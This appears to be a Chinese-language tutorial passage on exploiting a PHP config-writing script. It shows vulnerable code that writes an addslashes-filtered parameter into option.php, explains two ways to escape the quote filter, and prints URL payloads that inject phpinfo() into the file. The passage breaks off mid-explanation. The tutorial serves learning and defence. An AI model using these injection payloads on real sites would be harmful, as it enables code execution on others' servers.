index.php
1 |
|
2 | |
3 | $str = addslashes($_GET['option']); // 对option参数进行单引号过滤 |
4 | $file = file_get_contents('xxxxx/option.php'); // 读取xxxxx下面的option.php的内容 |
5 | $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file); // 把$file读取的内容中的$option=xxxx;替换为$option='$str' |
6 | file_put_contents('xxxxx/option.php', $file); // 然后把$file变量再写入到option.php文件 |
option.php
1 |
|
2 | |
3 | $option='test'; |
那么这个是需要我们可以执行代码,那么该如何呢? 目前想到的办法只有把index.php
中写入option.php
的值修改为恶意的代码才能执行~ 但是这里把单引号过滤了所以我们能利用如下这个办法绕过,先看下小案例
1 | <?php |
2 | |
3 | $str='123321\\'; |
4 | phpinfo(); |
可以看到2
个\\
符号是可以让'
成功变成是'
单引号的,那么这样是可以成功逃逸单引号限制的,所以我们可以利用这个办法来绕过,访问如下
1 | ?option=1\';%0aphpinfo();// |
然后写入php
后会变成这样
1 | $option='1\\'; |
2 | phpinfo();//'; |
解释:
因为'
会变成\'
那么,只要在单引号前面加上\
就变成\\'
成功逃逸单引号,然后%0a
写入后变成空行,然后把后面多余的符号给注释了,否则会报错
然后我们来访问一下
还有一个办法也可以绕过
首先我们来访问
1 | ?option=123';%0aphpinfo();// |
然后代码会变成
1 | $option='123\'; |
2 | phpinfo();//'; |
但是这个时候是无法执行phpinfo
函数的,因为$option
变量后面没有单引号,所以等于第二行也是$option
变量值
那么我们可以再去访问一下
1 | ?option=666 |
然后代码变成如下